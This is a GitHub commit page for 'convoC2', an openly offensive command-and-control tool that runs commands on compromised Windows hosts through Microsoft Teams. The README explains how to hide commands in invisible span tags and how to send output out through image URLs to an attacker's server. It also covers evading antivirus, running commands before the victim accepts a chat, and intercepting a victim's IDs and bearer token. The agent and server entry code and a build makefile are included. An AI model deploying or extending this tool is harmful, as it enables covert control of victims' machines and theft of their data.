Skip to content

Commit 6d05d35

Browse files
committed
Opening repo
0 parents  commit 6d05d35

18 files changed

Lines changed: 1449 additions & 0 deletions

File tree

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/build/

LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2024 Fabio Cinicolo
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

README.md

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
<h1 align="center">convoC2</h1>
2+
3+
## Table of Contents
4+
- [Introduction](#introduction)
5+
- [Demo](#demo)
6+
- [Usage](#usage)
7+
- [Requirements](#requirements)
8+
- [Inspiration](#inspiration)
9+
- [Contribute](#contribute)
10+
11+
## Introduction
12+
Command and Control infrastructure that allows Red Teamers to execute system commands on compromised hosts through Microsoft Teams.
13+
It infiltrates data into hidden span tags in Microsoft Teams messages and exfiltrates data by embedding command outputs in Adaptive Cards image URLs, triggering out-of-bound requests to a C2 server.
14+
The lack of direct communication between the victim and the attacker, combined with the fact that the victim only sends http requests to Microsoft servers and antiviruses don't look into MS Teams log files, makes detection more difficult.
15+
16+
![convoC2-Architecture](https://github.com/user-attachments/assets/d126a4cb-dc62-4a18-8b89-3501a4319d6e)
17+
18+
## Demo
19+
The following video demonstrates the use of the server to control two compromised hosts: one running the new Teams on Windows 11 and the other running the old Teams on Windows 10. In the first case, the attacker is not in the same org as the victim.
20+
21+
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
22+
23+
**Note:** In the first case the victim already accepted the chat with the external attacker, but in a real scenario where the attacker starts the chat with the victim for the first time, the victim would need to confirm the chat with the attacker. This is not a problem: because messages are being cached in the log file anyways, the **commands are received and executed even if the victim has not visualized or accepted the chat yet**.
24+
25+
## Usage
26+
**Server**
27+
```
28+
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
29+
Usage of convoC2 server:
30+
-t, --msgTimeout How much to wait for command output (default 30 s)
31+
-b, --bindIp Bind IP address (default 0.0.0.0)
32+
```
33+
**Agent**
34+
```
35+
C:\Windows>convoC2_agent.exe -h
36+
Usage of convoC2 agent:
37+
-v, --verbose Verbose logging (default false)
38+
-s, --server C2 server URL (i.e. http://10.11.12.13/)
39+
-t, --timeout Teams log file polling timeout [s] (default 1)
40+
-w, --webhook Teams Webhook POST URL
41+
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
42+
```
43+
44+
## Requirements
45+
To get it working, you will need to set up a few things:
46+
- [**Create Teams channel with Workflow Incoming Webhook**](#Create-Teams-channel-with-Workflow-Incoming-Webhook): this is the place where the adaptive cards containing the output will be received. **Note**: **It is important to keep a browser window with this channel opened while using the server**, otherwise the server will not receive messages from the agents.
47+
48+
![WebhookChannel](https://github.com/user-attachments/assets/ea65daad-9274-4574-835b-107f468a1d6e)
49+
50+
- [**Fetch Ids and Auth Token**](#Fetch-Ids-And-Auth-Token): Teams initializes a chat with a POST to `https://teams.microsoft.com/api/chatsvc/emea/v1/threads` with the unique ids of the victim and the attacker in the body. In the response, the threadId will be returned in the path of the Location header url.
51+
The Bearer token of the same request is used to authenticate to `https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages`, which is the endpoint for sending messages. So we just need to grab these three things and the server will take care of the rest.
52+
- Make sure you have a public facing host allowing inbound HTTP traffic on port 80.
53+
- Teams needs to be running on the victim host, in the background is fine too.
54+
55+
After starting the server you can receive new agents and control them, using the data previously obtained for authentication. Check the demo out for a usage example.
56+
57+
### Create Teams channel with Workflow Incoming Webhook
58+
First of all, you will need to create a Teams channel.
59+
60+
![CreateTeams](https://github.com/user-attachments/assets/8f4da165-4c94-4685-b06c-a938cde8cf90)
61+
62+
Right click on the three dots, then click on "Workflows".
63+
64+
![CreateTeams_1](https://github.com/user-attachments/assets/50c0fe37-d81c-4fc6-b9ec-81a287cbcedd)
65+
66+
In the search bar type "Webhook" and click on the "Post to a channel when a webhook request is received".
67+
68+
![CreateTeams_5](https://github.com/user-attachments/assets/3f7d7221-cc84-457b-9057-610e60944c61)
69+
70+
Continue with the default settings and finally copy the url.
71+
72+
![Create_Teams_6](https://github.com/user-attachments/assets/45030146-3575-4588-9fac-ee2bb6079bbc)
73+
74+
75+
### Fetch Ids and Auth Token
76+
Start by looking for the victim.
77+
78+
![GetOrgIds](https://github.com/user-attachments/assets/c75b47e3-5503-473b-8be6-a04d041e9422)
79+
80+
After selecting the victim account, with the web proxy intercepting the requests, you can send a dummy message.
81+
82+
![GetOrgIds_1](https://github.com/user-attachments/assets/76533c54-2c71-4d0d-94dc-5d638a33242c)
83+
84+
Save the two ids present in the `api/chatsvc/emea/v1/threads` request then DROP the request. The auth token will be the Bearer token of the same request.
85+
86+
![GetOrgIds_2](https://github.com/user-attachments/assets/b0f9d9bc-df2d-4527-8a87-301babd505b4)
87+
88+
## Inspiration
89+
This infrastructure was inspired by the [Teams GIFShell research](https://medium.com/@bobbyrsec/gifshell-covert-attack-chain-and-c2-utilizing-microsoft-teams-gifs-1618c4e64ed7) made by [Bobbyrsec](https://www.linkedin.com/in/bobby-rauch/).
90+
Initially my purpose was to replicate the issue, but the solution appeared to be partially fixed. The research involved injecting commands into Base64-encoded GIFs, but these were no longer being displayed correctly: an icon of corrupted image would appear in the chat instead, resulting in the victim protentially starting to suspect.
91+
After testing various methods, I noticed that it was possible to **embed commands directly into messages rather than in GIFs or images**: sending multiple images is more likely to raise suspicion compared to sending simple messages, right?
92+
Initially I considered embedding commands in tags like `<script>`, `<meta>`, or custom tags, but all were filtered out. Eventually, embedding commands in the `aria-label` attribute of `<span>` tags with `display:none` was successful: the victim would only see the message, but the hidden command would actually poison the Teams log file.
93+
94+
![TeamsLogPoisoning](https://github.com/user-attachments/assets/b602ef7f-fabc-42a0-bd68-6b7d7f152a86)
95+
96+
The server TUI has been developed using the awesome Go [BubbleTea framework](https://github.com/charmbracelet/bubbletea).
97+
98+
## Contribute
99+
If you find bugs or want to improve the project feel free to open a pull request and I will be glad to review and eventually merge your changes.
100+
Short term todos are:
101+
- Message AES encryption
102+
- Keepalive to detect when agent is dead
103+
- Powershell version of the Agent

cmd/agent/main.go

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
package main
2+
3+
import (
4+
"flag"
5+
"fmt"
6+
"os"
7+
"regexp"
8+
9+
"github.com/cxnturi0n/convoC2/pkg/agent"
10+
)
11+
12+
var (
13+
verbose bool
14+
serverURL string
15+
timeout int
16+
webhookURL string
17+
commandRegex string
18+
)
19+
20+
func init() {
21+
flag.BoolVar(&verbose, "v", false, "")
22+
flag.StringVar(&serverURL, "s", "", "") // Insert in third parameter if you want to hardcode serverURL
23+
flag.IntVar(&timeout, "t", 1, "")
24+
flag.StringVar(&webhookURL, "w", "", "") // Insert in third parameter if you want to hardcode webhookURL
25+
flag.StringVar(&commandRegex, "r", `<span[^>]*aria-label="([^"]*)"[^>]*></span>`, "") // For now use the default because server only supports aria-label injection
26+
27+
flag.BoolVar(&verbose, "verbose", false, "")
28+
flag.StringVar(&serverURL, "server", "", "") // Insert in third parameter if you want to hardcode serverURL
29+
flag.IntVar(&timeout, "timeout", 1, "")
30+
flag.StringVar(&webhookURL, "webhook", "", "") // Insert in third parameter if you want to hardcode webhookURL
31+
flag.StringVar(&commandRegex, "regex", `<span[^>]*aria-label="([^"]*)"[^>]*></span>`, "") // For now use the default because server only supports aria-label injection
32+
}
33+
34+
func main() {
35+
flag.Usage = func() {
36+
fmt.Fprintf(os.Stderr, "Usage of convoC2 agent:\n")
37+
fmt.Fprintf(os.Stderr, " -v, --verbose Verbose logging (default false)\n")
38+
fmt.Fprintf(os.Stderr, " -s, --server C2 server URL (i.e. http://10.11.12.13/)\n")
39+
fmt.Fprintf(os.Stderr, " -t, --timeout Teams log file polling timeout [s] (default 1)\n")
40+
fmt.Fprintf(os.Stderr, " -w, --webhook Teams Webhook POST URL\n")
41+
fmt.Fprintf(os.Stderr, ` -r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")`)
42+
}
43+
44+
flag.Parse()
45+
46+
err := agent.Start(verbose, serverURL, timeout, webhookURL, regexp.MustCompile(commandRegex))
47+
if err != nil {
48+
fmt.Fprintln(os.Stderr, "Agent failed to run:", err)
49+
os.Exit(1)
50+
}
51+
}

cmd/server/main.go

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package main
2+
3+
import (
4+
"flag"
5+
"fmt"
6+
"os"
7+
8+
tea "github.com/charmbracelet/bubbletea"
9+
"github.com/cxnturi0n/convoC2/pkg/server"
10+
"github.com/cxnturi0n/convoC2/pkg/server/tui"
11+
)
12+
13+
func init() {
14+
flag.IntVar(&server.MsgTimeout, "t", 30, "")
15+
flag.StringVar(&server.BindIp, "b", "0.0.0.0", "")
16+
17+
flag.IntVar(&server.MsgTimeout, "msgTimeout", 30, "")
18+
flag.StringVar(&server.BindIp, "bindIp", "0.0.0.0", "")
19+
}
20+
21+
func main() {
22+
flag.Usage = func() {
23+
fmt.Fprintf(os.Stderr, "Usage of convoC2 server:\n")
24+
fmt.Fprintf(os.Stderr, " -t, --msgTimeout How much to wait for command output (default 30 s)\n")
25+
fmt.Fprintf(os.Stderr, " -b, --bindIp Bind IP address (default 0.0.0.0)\n")
26+
}
27+
28+
flag.Parse()
29+
30+
p := tea.NewProgram(tui.InitialModel(), tea.WithAltScreen())
31+
32+
if _, err := p.Run(); err != nil {
33+
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
34+
os.Exit(1)
35+
}
36+
}

go.mod

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
module github.com/cxnturi0n/convoC2
2+
3+
go 1.22.4
4+
5+
require (
6+
github.com/charmbracelet/bubbles v0.20.0
7+
github.com/charmbracelet/bubbletea v1.1.1
8+
github.com/charmbracelet/lipgloss v0.13.0
9+
)
10+
11+
require (
12+
github.com/atotto/clipboard v0.1.4 // indirect
13+
github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
14+
github.com/charmbracelet/x/ansi v0.2.3 // indirect
15+
github.com/charmbracelet/x/term v0.2.0 // indirect
16+
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
17+
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
18+
github.com/mattn/go-isatty v0.0.20 // indirect
19+
github.com/mattn/go-localereader v0.0.1 // indirect
20+
github.com/mattn/go-runewidth v0.0.16 // indirect
21+
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
22+
github.com/muesli/cancelreader v0.2.2 // indirect
23+
github.com/muesli/termenv v0.15.2 // indirect
24+
github.com/rivo/uniseg v0.4.7 // indirect
25+
github.com/sahilm/fuzzy v0.1.1 // indirect
26+
golang.org/x/sync v0.8.0 // indirect
27+
golang.org/x/sys v0.24.0 // indirect
28+
golang.org/x/text v0.3.8 // indirect
29+
)
30+

go.sum

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
2+
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
3+
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
4+
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
5+
github.com/charmbracelet/bubbles v0.20.0 h1:jSZu6qD8cRQ6k9OMfR1WlM+ruM8fkPWkHvQWD9LIutE=
6+
github.com/charmbracelet/bubbles v0.20.0/go.mod h1:39slydyswPy+uVOHZ5x/GjwVAFkCsV8IIVy+4MhzwwU=
7+
github.com/charmbracelet/bubbletea v1.1.1 h1:KJ2/DnmpfqFtDNVTvYZ6zpPFL9iRCRr0qqKOCvppbPY=
8+
github.com/charmbracelet/bubbletea v1.1.1/go.mod h1:9Ogk0HrdbHolIKHdjfFpyXJmiCzGwy+FesYkZr7hYU4=
9+
github.com/charmbracelet/lipgloss v0.13.0 h1:4X3PPeoWEDCMvzDvGmTajSyYPcZM4+y8sCA/SsA3cjw=
10+
github.com/charmbracelet/lipgloss v0.13.0/go.mod h1:nw4zy0SBX/F/eAO1cWdcvy6qnkDUxr8Lw7dvFrAIbbY=
11+
github.com/charmbracelet/x/ansi v0.2.3 h1:VfFN0NUpcjBRd4DnKfRaIRo53KRgey/nhOoEqosGDEY=
12+
github.com/charmbracelet/x/ansi v0.2.3/go.mod h1:dk73KoMTT5AX5BsX0KrqhsTqAnhZZoCBjs7dGWp4Ktw=
13+
github.com/charmbracelet/x/term v0.2.0 h1:cNB9Ot9q8I711MyZ7myUR5HFWL/lc3OpU8jZ4hwm0x0=
14+
github.com/charmbracelet/x/term v0.2.0/go.mod h1:GVxgxAbjUrmpvIINHIQnJJKpMlHiZ4cktEQCN6GWyF0=
15+
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f h1:Y/CXytFA4m6baUTXGLOoWe4PQhGxaX0KpnayAqC48p4=
16+
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f/go.mod h1:vw97MGsxSvLiUE2X8qFplwetxpGLQrlU1Q9AUEIzCaM=
17+
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
18+
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
19+
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
20+
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
21+
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
22+
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
23+
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
24+
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
25+
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
26+
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
27+
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
28+
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo=
29+
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
30+
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
31+
github.com/muesli/termenv v0.15.2 h1:GohcuySI0QmI3wN8Ok9PtKGkgkFIk7y6Vpb5PvrY+Wo=
32+
github.com/muesli/termenv v0.15.2/go.mod h1:Epx+iuz8sNs7mNKhxzH4fWXGNpZwUaJKRS1noLXviQ8=
33+
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
34+
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
35+
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
36+
github.com/sahilm/fuzzy v0.1.1 h1:ceu5RHF8DGgoi+/dR5PsECjCDH1BE3Fnmpo7aVXOdRA=
37+
github.com/sahilm/fuzzy v0.1.1/go.mod h1:VFvziUEIMCrT6A6tw2RFIXPXXmzXbOsSHF0DOI8ZK9Y=
38+
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
39+
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
40+
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
41+
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
42+
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
43+
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
44+
golang.org/x/text v0.3.8 h1:nAL+RVCQ9uMn3vJZbV+MRnydTJFPf8qqY42YiA6MrqY=
45+
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
46+

makefile

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
AGENT_PATH = cmd/agent/main.go
2+
SERVER_PATH = cmd/server/main.go
3+
4+
BUILD_DIR = build
5+
AGENT_BUILD_DIR = $(BUILD_DIR)/agent
6+
SERVER_BUILD_DIR = $(BUILD_DIR)/server
7+
8+
.PHONY: all
9+
all: agent server_amd64 server_arm64 compress
10+
11+
$(BUILD_DIR):
12+
mkdir -p $(BUILD_DIR)
13+
$(AGENT_BUILD_DIR):
14+
mkdir -p $(AGENT_BUILD_DIR)
15+
$(SERVER_BUILD_DIR):
16+
mkdir -p $(SERVER_BUILD_DIR)
17+
18+
.PHONY: agent
19+
agent: $(AGENT_BUILD_DIR)
20+
GOOS=windows GOARCH=amd64 go build -o $(AGENT_BUILD_DIR)/convoC2_agent.exe $(AGENT_PATH)
21+
@echo "Built agent for Windows (amd64)"
22+
23+
.PHONY: server_amd64
24+
server_amd64: $(SERVER_BUILD_DIR)
25+
GOOS=linux GOARCH=amd64 go build -o $(SERVER_BUILD_DIR)/convoC2_server_amd64 $(SERVER_PATH)
26+
@echo "Built server for Linux (amd64)"
27+
28+
.PHONY: server_arm64
29+
server_arm64: $(SERVER_BUILD_DIR)
30+
GOOS=linux GOARCH=arm64 go build -o $(SERVER_BUILD_DIR)/convoC2_server_arm64 $(SERVER_PATH)
31+
@echo "Built server for Linux (arm64)"
32+
33+
.PHONY: compress
34+
compress: agent server_amd64 server_arm64
35+
@echo "Compressing build outputs..."
36+
tar -czf $(AGENT_BUILD_DIR)/convoC2_agent.tar.gz -C $(AGENT_BUILD_DIR) convoC2_agent.exe
37+
tar -czf $(SERVER_BUILD_DIR)/convoC2_server_amd64.tar.gz -C $(SERVER_BUILD_DIR) convoC2_server_amd64
38+
tar -czf $(SERVER_BUILD_DIR)/convoC2_server_arm64.tar.gz -C $(SERVER_BUILD_DIR) convoC2_server_arm64
39+
@echo "Compression complete"
40+
41+
.PHONY: clean
42+
clean:
43+
rm -rf $(BUILD_DIR)
44+
@echo "Cleaned build directories"

0 commit comments

Comments
 (0)